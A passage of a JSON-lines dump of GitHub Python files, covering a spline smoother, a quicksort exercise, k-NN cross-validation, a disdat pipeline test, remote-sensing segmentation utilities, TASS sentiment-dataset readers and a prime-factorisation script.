bounds=[(1e-6, None)])\n        self.s = res.x[0]\n\n    def derivative(self, d=1):\n        \"\"\"Returns a function that evaluates the spline derivative\"\"\"\n        def deriv_spl(ti):\n            \"\"\"The d-th derivative of the spline\"\"\"\n            if isinstance(ti, Number):\n                ti = [ti]\n            if d == 1:\n                X = np.hstack([np.zeros((len(ti), 1)), np.ones((len(ti), 1))])\n            else:\n                X = np.zeros((len(ti), 2))\n            Z = self.build_Z(ti, d=d)\n            return X@self.b + Z@self.u\n        return deriv_spl\n","repo_name":"dwu402/remlspline","sub_path":"remlspline/spline_smoother.py","file_name":"spline_smoother.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"3142804364","text":"def qs(arr, begin, end):\n    \"\"\"\n    pivot을 기준점으로 왼쪽과 오른쪽만 비교하면 된다.\n    \"\"\"\n    if begin < end:\n        p = partitian(arr, begin, end)\n        qs(arr, begin, p - 1)\n        qs(arr, p + 1, end)\n\n\ndef partitian(arr, begin, end):\n    pivot = (begin + end) // 2\n    L = begin\n    R = end\n    while L < R:\n        while arr[L] < arr[pivot] and L < R:\n            L += 1\n        while arr[R] >= arr[pivot] and L < R:\n            R -= 1\n        if L < R:\n            if L == [pivot]:\n                pivot = R\n            arr[L], arr[R] = arr[R], arr[L]\n        arr[R], arr[pivot] = arr[pivot], arr[R]\n    return R\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"swea/queue1/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14283138093","text":"from sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import KFold\nimport numpy as np\n\nfrom joblib import load\n\nimport matplotlib.pyplot as plt\n\nimport time\n\nimport sys\nfrom pathlib import Path\nsys.path[0] = str(Path(sys.path[0]).parent)\n\nfrom metrics import metrics, meanMetrics, printMetrics, stdMetrics\n\ntrain_images = np.load('saved_images/images_array_normal.npy')\n\nx = train_images[:,:-1]\ny = train_images[:,-1]\n\nprint(\"Images already Loaded\")\n\n#feature_model=load('wrapping_method.joblib')\n#x = feature_model.transform(x)\n\nnum_splits = 10\n\nkf = KFold(n_splits=num_splits)\nkf.get_n_splits(x)\n\nk = 10\n\nerror_by_k = np.zeros((k, 5))\n\nstart = time.time()\n\nsaveFile = open('res.dat', 'w')\n\nfor i in [8]:\n#for i in range(1,k+1):\n    clf = KNeighborsClassifier(n_neighbors=i, weights='uniform',n_jobs=-1)\n\n    error_promedio = np.zeros((num_splits,5))\n    iteration = 0\n\n    for train_index, test_index in kf.split(x):\n        X_train, X_test = x[train_index], x[test_index]\n        y_train, y_test = y[train_index], y[test_index]\n\n        clf.fit(X_train,y_train)\n\n        y_pred = clf.predict(X_test)\n\n        error_promedio[iteration, :] = metrics(y_test, y_pred)\n        iteration += 1\n\n    error_standard = stdMetrics(error_promedio)\n    error_promedio = meanMetrics(error_promedio)\n\n    np.savetxt(saveFile, error_promedio)\n\n    print('Error para', i, ' vecinos: ')\n    print('########################################')\n    printMetrics(error_promedio)\n    print('Desviación estandar')\n    print('########################################')\n    printMetrics(error_standard)\n\n    error_by_k[i-1, :]=error_promedio\n\nsaveFile.close()\n\nelapsed_time = time.time()-start\nprint('Elapsed time for 10 k: ',elapsed_time)\n\nplt.plot(range(1,k+1), error_by_k[:,0], 'b--')\nplt.xlabel('Numero de vecinos')\nplt.ylabel('Error asociado')\nplt.show()","repo_name":"manaranjoc/ResonanceImageClassification","sub_path":"kfolds/k_nearest_neighbors.py","file_name":"k_nearest_neighbors.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12465214499","text":"import pickle\r\nimport numpy as np \r\n\r\nwith open('model_pickle','rb') as f:\r\n    mp = pickle.load(f)\r\n\r\ninput_data = np.array([[5000]])\r\n\r\nprediction = mp.predict(input_data)\r\n\r\nprint(\"Prediction:\", prediction)\r\n","repo_name":"mohitesachin217/python-liner-regression-example","sub_path":"pickle_model_load.py","file_name":"pickle_model_load.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38385035123","text":"import luigi\nimport numpy as np\nimport os\nfrom disdat.pipe import PipeTask\nimport disdat.api as api\n\n\nTEST_CONTEXT = '_test_context_'\nTEST_NAME    = 'test_bundle'\nTEST_REMOTE  = 's3://'\nPWD          = os.path.dirname(__file__)\nSETUP_DIR    = os.path.join(PWD,'..')\nPIPELINE_CLS = 'pipelines.test_api_run.DataMaker'\nOUTPUT_BUNDLE = 'test_local_run'\n\n\ndef test():\n    \"\"\" Test the api.run() function.\n\n    1.) Create the container via the api\n\n    2.) Create a test context\n\n    3.) Call run locally\n\n    4.) Call run on AWS Batch (need to add MonkeyPatch)\n\n    \"\"\"\n\n    test_arg = [1000,2000,8000]\n\n    api.context(TEST_CONTEXT)\n    api.remote(TEST_CONTEXT, TEST_CONTEXT, TEST_REMOTE, force=True)\n\n    print (\"--0: Create docker container\")\n    api.dockerize(SETUP_DIR, PIPELINE_CLS)\n\n    print (\"--1: Running container locally and storing results locally...\")\n    retval = api.run(TEST_CONTEXT, TEST_CONTEXT, OUTPUT_BUNDLE, PIPELINE_CLS,\n                     pipeline_args={'int_array': test_arg},\n                     remote=TEST_REMOTE,\n                     no_pull=True,\n                     no_push=True)\n    print (\"--1: 100 chars of RETVAL {}\".format(retval[:100]))\n    b = api.get(TEST_CONTEXT, OUTPUT_BUNDLE)\n    assert(b is not None)\n    print (\"--1: Pipeline tried to store {} and we found {}\".format(test_arg, b.cat()))\n    assert(np.array_equal(b.cat(), test_arg))\n    b.rm()\n\n    print (\"--2: Running container locally and pushing results ...\")\n    retval = api.run(TEST_CONTEXT, TEST_CONTEXT, OUTPUT_BUNDLE, PIPELINE_CLS,\n                     pipeline_args={'int_array': test_arg},\n                     remote=TEST_REMOTE,\n                     no_pull=True,\n                     no_push=False)\n    print (\"--2: 100 chars of RETVAL {}\".format(retval[:100]))\n    print (\"--2B: Removing local output bundle...\")\n    api.get(TEST_CONTEXT, OUTPUT_BUNDLE).rm()\n    print (\"--2C: Pulling remote bundle and verifying...\")\n    api.pull(TEST_CONTEXT)\n    b = api.get(TEST_CONTEXT, OUTPUT_BUNDLE)\n    print (\"--2C: Pipeline tried to store {} and we found {}\".format(test_arg, b.cat()))\n    assert(np.array_equal(b.cat(), test_arg))\n    b.rm()\n\n    print (\"--3: Running container on AWS pulling and pushing results ...\")\n    print (\"--3B: Push docker container\")\n    api.dockerize(SETUP_DIR, PIPELINE_CLS, push=True)\n    print (\"--3C: Run docker container on AWS Batch\")\n    retval = api.run(TEST_CONTEXT, TEST_CONTEXT, OUTPUT_BUNDLE, PIPELINE_CLS,\n                     pipeline_args={'int_array': test_arg},\n                     remote=TEST_REMOTE,\n                     backend='AWSBatch')\n    print (\"--3C: RETVAL {}\".format(retval))\n    print (\"--3D: Pulling remote bundle and verifying...\")\n    api.pull(TEST_CONTEXT)\n    b = api.get(TEST_CONTEXT, OUTPUT_BUNDLE)\n    print (\"--3D: Pipeline tried to store {} and we found {}\".format(test_arg, b.cat()))\n    assert(np.array_equal(b.cat(), test_arg))\n    b.rm()\n\n    print (\"--4: Running with no submit ...\")\n    print (\"--4B: Reusing docker container\")\n    print (\"--4C: Submit Job on AWS Batch\")\n    retval = api.run(TEST_CONTEXT, TEST_CONTEXT, OUTPUT_BUNDLE, PIPELINE_CLS,\n                     pipeline_args={'int_array': test_arg},\n                     remote=TEST_REMOTE,\n                     backend='AWSBatch',\n                     no_submit=True)\n    print (\"--4C: RETVAL {}\".format(retval))\n\n    api.delete_context(TEST_CONTEXT)\n\n\nclass DataMaker(PipeTask):\n    \"\"\" Run this by itself.\n    Then B requires DataMaker as external, and A. \"\"\"\n\n    int_array = luigi.ListParameter(default=[0,1])\n\n    def pipe_requires(self, pipeline_input=None):\n        self.set_bundle_name(\"DataMaker\")\n        return\n\n    def pipe_run(self, pipeline_input=None):\n        return np.array(self.int_array)\n\n\nclass Root(PipeTask):\n\n    int_array = luigi.ListParameter(default=None)\n\n    def pipe_requires(self, pipeline_input=None):\n        self.add_dependency('datamaker', DataMaker, {'int_array': self.int_array})\n\n    def pipe_run(self, pipeline_input=None, datamaker=None):\n        print (\"Root received a datamaker {}\".format(datamaker))\n        return datamaker.mean()\n\n\nif __name__ == '__main__':\n    test()\n","repo_name":"alatimer/disdat","sub_path":"tests/pipelines/test_api_run.py","file_name":"test_api_run.py","file_ext":"py","file_size_in_byte":4166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"27526992565","text":"import os\nimport random\nimport numpy as np\nimport imageio\nimport argparse\nimport matplotlib.pyplot as plt\n\n\ndef str2bool(v):\n    \"\"\"\n    Function to transform strings into booleans.\n\n    v: string variable\n    \"\"\"\n    if isinstance(v, bool):\n        return v\n    if v.lower() in ('yes', 'true', 't', 'y', '1'):\n        return True\n    elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n        return False\n    else:\n        raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef save_best_models(sess, output_path, distribution_type, patch_acc_loss, patch_occur, patch_chosen_values,\n                     saver, best_records, step, acc, acc_cls, f1, kappa, iou, cm):\n    if len(best_records) < 5:\n        best_records.append({'step': step, 'acc': acc, 'acc_cls': acc_cls,\n                             'f1': f1, 'kappa': kappa, 'iou': iou, 'cm': cm})\n\n        saver.save(sess, output_path + 'model', global_step=step)\n        if distribution_type == 'multi_fixed' or distribution_type == 'uniform' \\\n                or distribution_type == 'multinomial':\n            np.save(output_path + 'patch_acc_loss_step_' + str(step) + '.npy', patch_acc_loss)\n            np.save(output_path + 'patch_occur_step_' + str(step) + '.npy', patch_occur)\n            np.save(output_path + 'patch_chosen_values_step_' + str(step) + '.npy', patch_chosen_values)\n    else:\n        # find min saved acc\n        min_index = 0\n        for i, r in enumerate(best_records):\n            if best_records[min_index]['acc_cls'] > best_records[i]['acc_cls']:\n                min_index = i\n        # check if currect acc is greater than min saved acc\n        if acc_cls > best_records[min_index]['acc_cls']:\n            # if it is, delete previous files\n            min_step = str(best_records[min_index]['step'])\n            os.remove(os.path.join(output_path, 'model-' + min_step + '.index'))\n            os.remove(os.path.join(output_path, 'model-' + min_step + '.data-00000-of-00001'))\n            os.remove(os.path.join(output_path, 'model-' + min_step + '.meta'))\n            if distribution_type == 'multi_fixed' or distribution_type == 'uniform' \\\n                    or distribution_type == 'multinomial':\n                os.remove(os.path.join(output_path, 'patch_acc_loss_step_' + min_step + '.npy'))\n                os.remove(os.path.join(output_path, 'patch_occur_step_' + min_step + '.npy'))\n                os.remove(os.path.join(output_path, 'patch_chosen_values_step_' + min_step + '.npy'))\n\n            # replace min value with current\n            best_records[min_index] = {'step': step, 'acc': acc, 'acc_cls': acc_cls,\n                                       'f1': f1, 'kappa': kappa, 'iou': iou, 'cm': cm}\n            # save current model\n            saver.save(sess, output_path + 'model', global_step=step)\n            if distribution_type == 'multi_fixed' or distribution_type == 'uniform' \\\n                    or distribution_type == 'multinomial':\n                np.save(output_path + 'patch_acc_loss_step_' + str(step) + '.npy', patch_acc_loss)\n                np.save(output_path + 'patch_occur_step_' + str(step) + '.npy', patch_occur)\n                np.save(output_path + 'patch_chosen_values_step_' + str(step) + '.npy', patch_chosen_values)\n\n\ndef define_multinomial_probs(values, dif_prob=2):\n    interval_size = values[-1] - values[0] + 1\n\n    general_prob = 1.0 / float(interval_size)\n    max_prob = general_prob * dif_prob  # for values\n\n    probs = np.full(interval_size, (1.0 - max_prob * len(values)) / float(interval_size - len(values)))\n    for i in range(len(values)):\n        probs[values[i] - values[0]] = max_prob\n\n    return probs\n\n\ndef select_super_batch_instances(class_distribution, batch_size=100, super_batch=500):\n    instances = []\n    overall_count = 0\n\n    samples_per_class = int((batch_size * super_batch) / len(class_distribution))\n    # print samples_per_class\n\n    # for each class\n    for i in range(len(class_distribution)):\n        # print len(class_distribution[i]), samples_per_class\n        # (samples_per_class if len(class_distribution[i]) >= samples_per_class else len(class_distribution[i]))\n        shuffle = np.asarray(random.sample(range(len(class_distribution[i])), (\n            samples_per_class if len(class_distribution[i]) >= samples_per_class else len(class_distribution[i]))))\n\n        for j in shuffle:\n            cur_map = class_distribution[i][j][0]\n            cur_x = class_distribution[i][j][1]\n            cur_y = class_distribution[i][j][2]\n            cur_rot = class_distribution[i][j][3]\n\n            instances.append((cur_map, cur_x, cur_y, cur_rot))\n            overall_count += 1\n\n    # remaining if int((batch_size*superEpoch)/len(class_distribution)) is not divisible\n    # print overall_count, (batch_size*super_batch), overall_count != (batch_size*super_batch)\n    if overall_count != (batch_size * super_batch):\n        lack = (batch_size * super_batch) - overall_count\n        # print 'in', lack\n        for i in range(lack):\n            rand_class = np.random.randint(len(class_distribution))\n            rand_map = np.random.randint(len(class_distribution[rand_class]))\n\n            cur_map = class_distribution[rand_class][rand_map][0]\n            cur_x = class_distribution[rand_class][rand_map][1]\n            cur_y = class_distribution[rand_class][rand_map][2]\n            cur_rot = class_distribution[i][j][3]\n\n            instances.append((cur_map, cur_x, cur_y, cur_rot))\n            overall_count += 1\n\n    # print overall_count, (batch_size*super_batch), overall_count != (batch_size*super_batch)\n    assert overall_count == (batch_size * super_batch), \"Could not select ALL instances\"\n    # for i in range(len(instances)):\n    # print 'Instances ' + str(i)  + ' has length ' + str(len(instances[i]))\n    return np.asarray(instances)  # [0]+instances[1]+instances[2]+instances[3]+instances[4]+instances[5]\n\n\ndef select_batch(shuffle, batch_size, it, total_size):\n    batch = shuffle[it:min(it + batch_size, total_size)]\n    if min(it + batch_size, total_size) == total_size or total_size == it + batch_size:\n        shuffle = np.asarray(random.sample(range(total_size), total_size))\n        # print \"in\", shuffle\n        it = 0\n        if len(batch) < batch_size:\n            diff = batch_size - len(batch)\n            batch_c = shuffle[it:it + diff]\n            batch = np.concatenate((batch, batch_c))\n            it = diff\n            # print 'c', batch_c, batch, it\n    else:\n        it += batch_size\n    return shuffle, batch, it\n\n\ndef select_best_patch_size(distribution_type, values, patch_acc_loss, patch_occur, is_loss_or_acc='acc',\n                           patch_chosen_values=None, debug=False):\n        # if 0 in patch_occur:\n        patch_occur[np.where(patch_occur == 0)] = 1\n        patch_mean = patch_acc_loss / patch_occur\n        # print is_loss_or_acc\n\n        if is_loss_or_acc == 'acc':\n            argmax_acc = np.argmax(patch_mean)\n            if distribution_type == 'multi_fixed':\n                cur_patch_val = int(values[argmax_acc])\n            elif distribution_type == 'uniform' or distribution_type == 'multinomial':\n                cur_patch_val = values[0] + argmax_acc\n\n            if patch_chosen_values is not None:\n                patch_chosen_values[int(argmax_acc)] += 1\n\n            if debug is True:\n                print('patch_acc_loss', patch_acc_loss)\n                print('patch_occur', patch_occur)\n                print('patch_mean', patch_mean)\n                print('argmax_acc', argmax_acc)\n\n                print('specific', argmax_acc, patch_acc_loss[argmax_acc], patch_occur[argmax_acc], patch_mean[argmax_acc])\n\n        elif is_loss_or_acc == 'loss':\n            arg_sort_out = np.argsort(patch_mean)\n\n            if debug is True:\n                print('patch_acc_loss', patch_acc_loss)\n                print('patch_occur', patch_occur)\n                print('patch_mean', patch_mean)\n                print('arg_sort_out', arg_sort_out)\n            if distribution_type == 'multi_fixed':\n                for i in range(len(values)):\n                    if patch_occur[arg_sort_out[i]] > 0:\n                        cur_patch_val = int(values[arg_sort_out[i]])  # -1*(i+1)\n                        if patch_chosen_values is not None:\n                            patch_chosen_values[arg_sort_out[i]] += 1\n                        if debug is True:\n                            print('specific', arg_sort_out[i], patch_acc_loss[arg_sort_out[i]], patch_occur[\n                                arg_sort_out[i]], patch_mean[arg_sort_out[i]])\n                        break\n            elif distribution_type == 'uniform' or distribution_type == 'multinomial':\n                for i in range(values[-1] - values[0] + 1):\n                    if patch_occur[arg_sort_out[i]] > 0:\n                        cur_patch_val = values[0] + arg_sort_out[i]\n                        if patch_chosen_values is not None:\n                            patch_chosen_values[arg_sort_out[i]] += 1\n                        if debug is True:\n                            print('specific', arg_sort_out[i], patch_acc_loss[arg_sort_out[i]], patch_occur[\n                                arg_sort_out[i]], patch_mean[arg_sort_out[i]])\n                        break\n\n        if debug is True:\n            print('Current patch size ', cur_patch_val)\n            if patch_chosen_values is not None:\n                print('Distr of chosen sizes ', patch_chosen_values)\n\n        return cur_patch_val\n\n\ndef create_prediction_map(img_name, prob_img, channels=False):\n    if channels is True:\n        for i in range(16):  # range(prob_img.shape[-1]):\n            # imageio.imwrite(img_name + 'feat_' + str(i) + '.png', prob_img[:, :, i].astype(np.uint8))\n            plt.imsave(img_name + 'feat_' + str(i) + '.png', prob_img[:, :, i], cmap=plt.cm.jet)\n    else:\n        imageio.imwrite(img_name + '.png', prob_img.astype(np.uint8) * 255)\n        # img = Image.fromarray(prob_img.astype(np.uint8) * 255)\n        # img.save(img_name + \".tif\")\n\n\ndef calc_accuracy_by_crop(true_crop, pred_crop, num_classes, track_conf_matrix, masks=None):\n    b, h, w = pred_crop.shape\n\n    acc = 0\n    local_conf_matrix = np.zeros((num_classes, num_classes), dtype=np.uint32)\n    # count = 0\n    for i in range(b):\n        for j in range(h):\n            for k in range(w):\n                if masks is None or (masks is not None and masks[i, j, k]):\n                    # count += 1\n                    if true_crop[i, j, k] == pred_crop[i, j, k]:\n                        acc = acc + 1\n                    track_conf_matrix[true_crop[i, j, k]][pred_crop[i, j, k]] += 1\n                    local_conf_matrix[true_crop[i, j, k]][pred_crop[i, j, k]] += 1\n\n    # print count, b*h*w\n    return acc, local_conf_matrix\n\n\ndef calc_accuracy_by_class(true_crop, pred_crop, num_classes, track_conf_matrix):\n    acc = 0\n    local_conf_matrix = np.zeros((num_classes, num_classes), dtype=np.uint32)\n    # count = 0\n    for i in range(len(true_crop)):\n        if true_crop[i] == pred_crop[i]:\n            acc = acc + 1\n        track_conf_matrix[true_crop[i]][pred_crop[i]] += 1\n        local_conf_matrix[true_crop[i]][pred_crop[i]] += 1\n\n    return acc, local_conf_matrix\n\n\ndef create_cm(true, pred):\n    conf_matrix = np.zeros((len(np.unique(true)), len(np.unique(true))), dtype=np.uint32)\n    c, h, w = true.shape\n    for i in range(c):\n        for j in range(h):\n            for k in range(w):\n                conf_matrix[true[i, j, k]][pred[i, j, k]] += 1\n\n    return conf_matrix\n\n\ndef kappa_with_cm(conf_matrix):\n    acc = 0\n    marginal = 0\n    total = float(np.sum(conf_matrix))\n    for i in range(len(conf_matrix)):\n        acc += conf_matrix[i][i]\n        marginal += np.sum(conf_matrix, 0)[i] * np.sum(conf_matrix, 1)[i]\n\n    kappa = (total * acc - marginal) / (total * total - marginal)\n    return kappa\n\n\ndef f1_with_cm(conf_matrix):\n    precision = [0] * len(conf_matrix)\n    recall = [0] * len(conf_matrix)\n    f1 = [0] * len(conf_matrix)\n    for i in range(len(conf_matrix)):\n        precision[i] = conf_matrix[i][i] / float(np.sum(conf_matrix, 0)[i])\n        recall[i] = conf_matrix[i][i] / float(np.sum(conf_matrix, 1)[i])\n        f1[i] = 2 * ((precision[i]*recall[i])/(precision[i]+recall[i]))\n\n    return np.mean(f1)\n\n\ndef generate_gt_road(input_path, output_path):\n    img = imageio.imread(input_path)\n    print(img.shape)\n    from skimage.morphology import dilation, disk\n    mask = dilation(img, disk(3))\n    imageio.imwrite(output_path, mask.astype(np.uint8) * 255)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='utils')\n    # general options\n    parser.add_argument('--input_image_path', type=str, required=True, help='Input image path')\n    parser.add_argument('--output_image_path', type=str, required=True, help='Output image path')\n    args = parser.parse_args()\n    print(args)\n    img = imageio.imread(args.input_image_path)\n    print(img.shape)\n    for i in range(img.shape[2]):\n        print(i+1, np.min(img[:, :, i]), np.max(img[:, :, i]))\n    print(np.count_nonzero(np.isnan(img)))\n    print(img[500:550, 500:550, :])\n    # generate_gt_road(args.input_image_path, args.output_image_path)\n","repo_name":"keillernogueira/remote_sensing_segmentation","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13224,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"78"}
+{"seq_id":"17701829430","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 28 10:52:18 2020\n\n@author: current\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.stats as stats\nimport random\n\nk=0\nidx=0\nwhile idx < 1:\n    rlist1 = []\n    rlist2 = []\n    for i in range(0,42): \n        n1 = random.uniform(1.0,1.1)\n        rlist1.append(n1)\n    for i in range(0,42): \n        n2 = random.uniform(1.0,1.1)\n        rlist2.append(n2)\n        \n    r = stats.linregress(rlist1, rlist2)\n    if r.pvalue < 0.1:\n        idx=1\n    k += 1\n    \nprint(k)\n\nprint(np.corrcoef(rlist1,rlist2)[0,1])\n\nx = np.sort(rlist1)\ny = r.slope*x + r.intercept\n\nfig=plt.figure(figsize=(4.5,4))\nplt.plot(rlist1, rlist2,'go', x, y, 'r')\n\n\n\n","repo_name":"jeongbeen2/Lec_OceanData_Analysis","sub_path":"data_file/10주차/test2_regress_pvalue.py","file_name":"test2_regress_pvalue.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"41209812063","text":"from xml.etree import ElementTree\nfrom datetime import datetime\nimport json\n\n\ndataset_files = {\n    \"CR\": {\n        \"dev\": \"./InterTASS/CR/intertass-CR-development-tagged.xml\",\n        \"test\": \"./InterTASS/CR/intertass-CR-test.xml\",\n        \"train\": \"./InterTASS/CR/intertass-CR-train-tagged.xml\"\n    },\n\n    \"ES\": {\n        \"dev\": \"./InterTASS/ES/intertass-ES-development-tagged.xml\",\n        \"test\": \"./InterTASS/ES/intertass-ES-test.xml\",\n        \"train\": \"./InterTASS/ES/intertass-ES-train-tagged.xml\"\n    },\n\n    \"PE\": {\n        \"dev\": \"./InterTASS/PE/intertass-PE-development-tagged.xml\",\n        \"test\": \"./InterTASS/PE/intertass-PE-test.xml\",\n        \"train\": \"./InterTASS/PE/intertass-PE-train-tagged.xml\"\n    }\n}\n\n\nclass AspectTASSReader:\n\n    def __init__(self, filename, res_filename=None):\n        self.filename = filename\n        self.res_filename = res_filename\n\n        self.root = ElementTree.parse(filename).getroot()\n\n    def tweets(self):\n        \"\"\"Iterator over the tweets.\"\"\"\n        for tweet_el in self.root:\n            tweet = {}\n\n            tweet['content'] = ''.join(tweet_el.itertext())\n\n            sentiments = []\n            for sent_el in tweet_el:\n                attrib = sent_el.attrib\n                # assert set(attrib) == {'aspect', 'polarity'}\n                # one exception: #HalaMadrid\n                sent = dict(attrib)\n                sent['text'] = sent_el.text\n                sentiments.append(sent)\n\n            tweet['sentiments'] = sentiments\n\n            yield tweet\n\n    def X(self):\n        \"\"\"Iterator over the aspects and their context.\"\"\"\n        for tweet_el in self.root:\n            content = ''.join(tweet_el.itertext())\n\n            for sent_el in tweet_el:\n                attrib = sent_el.attrib\n                sent = dict(attrib)\n                sent['text'] = sent_el.text\n\n                if 'aspect' in sent:\n                    yield {\n                        'context': content,\n                        'aspect': sent['aspect'],\n                        'text': sent['text']\n                    }\n\n    def y(self):\n        \"\"\"Iterator over the aspect polarities.\"\"\"\n        for tweet_el in self.root:\n            for sent_el in tweet_el:\n                attrib = sent_el.attrib\n                sent = dict(attrib)\n                sent['text'] = sent_el.text\n\n                if 'aspect' in sent:\n                    yield sent['polarity']\n\n\nclass GeneralTASSReader:\n\n    def __init__(self, filename, res_filename=None, simple=False):\n        self.filename = filename\n        self.res_filename = res_filename\n        self.simple = simple\n\n        self.root = ElementTree.parse(filename).getroot()\n        self.smapdict = smapdict = {}\n        if simple:\n            smapdict['P+'] = 'P'\n            smapdict['N+'] = 'N'\n\n    def tweets(self):\n        \"\"\"Iterator over the tweets.\"\"\"\n\n        def smap(sentiment):\n            return self.smapdict.get(sentiment, sentiment)\n\n        for tweet_el in self.root:\n            # assert len(tweet_el) in [5, 7]\n            attrs = ['tweetid', 'user', 'content', 'date', 'lang']\n            tweet = {}\n            for attr in attrs:\n                tweet[attr] = tweet_el.find(attr).text\n\n            # parse date\n            tweet['date'] = datetime.strptime(tweet['date'], '%Y-%m-%dT%H:%M:%S')\n\n            sentiments_el = tweet_el.find('sentiments')\n            if sentiments_el:\n                # general sentiment\n                polarity_el = sentiments_el[0]\n                tweet['sentiment'] = {\n                    'value': smap(polarity_el.find('value').text),\n                    'type': polarity_el.find('type').text\n                }\n\n                # entity sentiments\n                tweet['sentiments'] = []\n                for polarity_el in sentiments_el[1:]:\n                    polarity = {\n                        'entity': polarity_el.find('entity').text,\n                        'value': smap(polarity_el.find('value').text),\n                        'type': polarity_el.find('type').text\n                    }\n                    tweet['sentiments'].append(polarity)\n\n                # now the topics\n                tweet['topics'] = []\n                for topic_el in tweet_el.find('topics'):\n                    tweet['topics'].append(topic_el.text)\n\n            yield tweet\n\n    def X(self):\n        \"\"\"Iterator over the tweet contents.\"\"\"\n\n        for tweet_el in self.root:\n            # assert len(tweet_el) in [5, 7]\n            content = tweet_el.find('content').text or ''\n            yield content\n\n    def y(self):\n        \"\"\"Iterator over the tweet polarities.\"\"\"\n        def smap(sentiment):\n            return self.smapdict.get(sentiment, sentiment)\n\n        if self.res_filename is None:\n            # development dataset\n            for tweet_el in self.root:\n                assert len(tweet_el) == 7\n                # general sentiment\n                polarity_el = tweet_el.find('sentiments')[0]\n                sentiment = smap(polarity_el.find('value').text)\n                yield sentiment\n        else:\n            # test dataset.\n            # tweets in the qrel file must be in the same order as in the XML\n            with open(self.res_filename, 'r') as f:\n                for line in f:\n                    sentiment = line.split()[-1]\n                    yield sentiment\n\n\nclass InterTASSReader:\n\n    def __init__(self, filename, res_filename=None):\n        self.filename = filename\n        self.res_filename = res_filename\n        self.root = ElementTree.parse(filename).getroot()\n\n    def tweets(self):\n        \"\"\"Iterator over the tweets.\"\"\"\n        for tweet_el in self.root:\n            assert len(tweet_el) == 6\n            attrs = ['tweetid', 'user', 'content', 'date', 'lang']\n            tweet = {}\n            for attr in attrs:\n                tweet[attr] = tweet_el.find(attr).text\n            # now the sentiment\n            tweet['sentiment'] = tweet_el.find('sentiment')[0][0].text\n\n            # parse date\n            try:\n                tweet['date'] = datetime.strptime(tweet['date'], '%Y-%m-%d %H:%M:%S')\n            except:\n                tweet['date'] = datetime.strptime(tweet['date'], '%a %b %d %H:%M:%S %z %Y')\n\n            yield tweet\n\n    def X(self):\n        \"\"\"Iterator over the tweet contents.\"\"\"\n        for tweet_el in self.root:\n            assert len(tweet_el) == 6\n            content = tweet_el.find('content').text\n            yield content\n\n    def y(self):\n        \"\"\"Iterator over the tweet polarities.\"\"\"\n        if self.res_filename is None:\n            # development dataset\n            for tweet_el in self.root:\n                assert len(tweet_el) == 6\n                sentiment = tweet_el.find('sentiment')[0][0].text\n                yield sentiment\n        else:\n            # test dataset\n            with open(self.res_filename, 'r') as f:\n                for line in f:\n                    sentiment = line.split()[-1]\n                    yield sentiment\n\n    def tweetIds(self):\n        \"\"\"Iterator over the tweetIds.\"\"\"\n\n        for tweet_el in self.root:\n            content = tweet_el.find('tweetid').text or ''\n            yield content\n\n\nclass JSONReader:\n    \"\"\" This is used for synthetic tweets generated by user. \"\"\"\n    def __init__(self, filename):\n        self.filename = filename\n        self.contents = None\n\n    def _preload_contents(self):\n        if self.contents is None:\n            self.contents = json.load(open(self.filename))\n\n    def tweets(self):\n        self._preload_contents()\n\n        return self.contents\n\n    def X(self):\n        self._preload_contents()\n        for instance in self.contents:\n            yield instance[\"text\"]\n\n    def y(self):\n        self._preload_contents()\n        for instance in self.contents:\n            yield instance[\"label\"]\n\n    def tweetIds(self):\n        self._preload_contents()\n        for instance in self.contents:\n            yield instance[\"tweetid\"]\n\n","repo_name":"frantrucco/BERT-Sentiment-Analysis-Twitter-Spanish","sub_path":"scripts/preprocess/tass.py","file_name":"tass.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"78"}
+{"seq_id":"17645360947","text":"# 숫자를 받으면 ex 72\n# 우선 2, 3, 5, 7,로 나눠보기  -> 멀리보면 소수가 뭐있는지도 모름 그냥 i부터 숫자 +1하면서 나눠보기\n# 그리디? \n# 소인수 담을 list = li -> 그냥 print\n\nx = int(input())\nli = list()\ni = 2\n# for문으로 돌릴라다가 그냥 x를 계속 작아지게 하면 된다는 생각\n# 어차피 x의 소인수는 x보다 작으므로 ㅇㅇ\nwhile x != 1 :\n    if x % i == 0:\n        x = x / i\n        print(i)\n    # i로 안나눠지면 이제 +1\n    else : i += 1\n    # 어차피 언젠가 x자기 자신까지 i가 커질거임 -> x = x/i 이때 x==1 -> while x != 1 성립\n\n    ","repo_name":"Techeer-3rd-gen-study/Algorithm-study","sub_path":"01주차_10.7_10.12/2_11653/정길연_11653.py","file_name":"정길연_11653.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
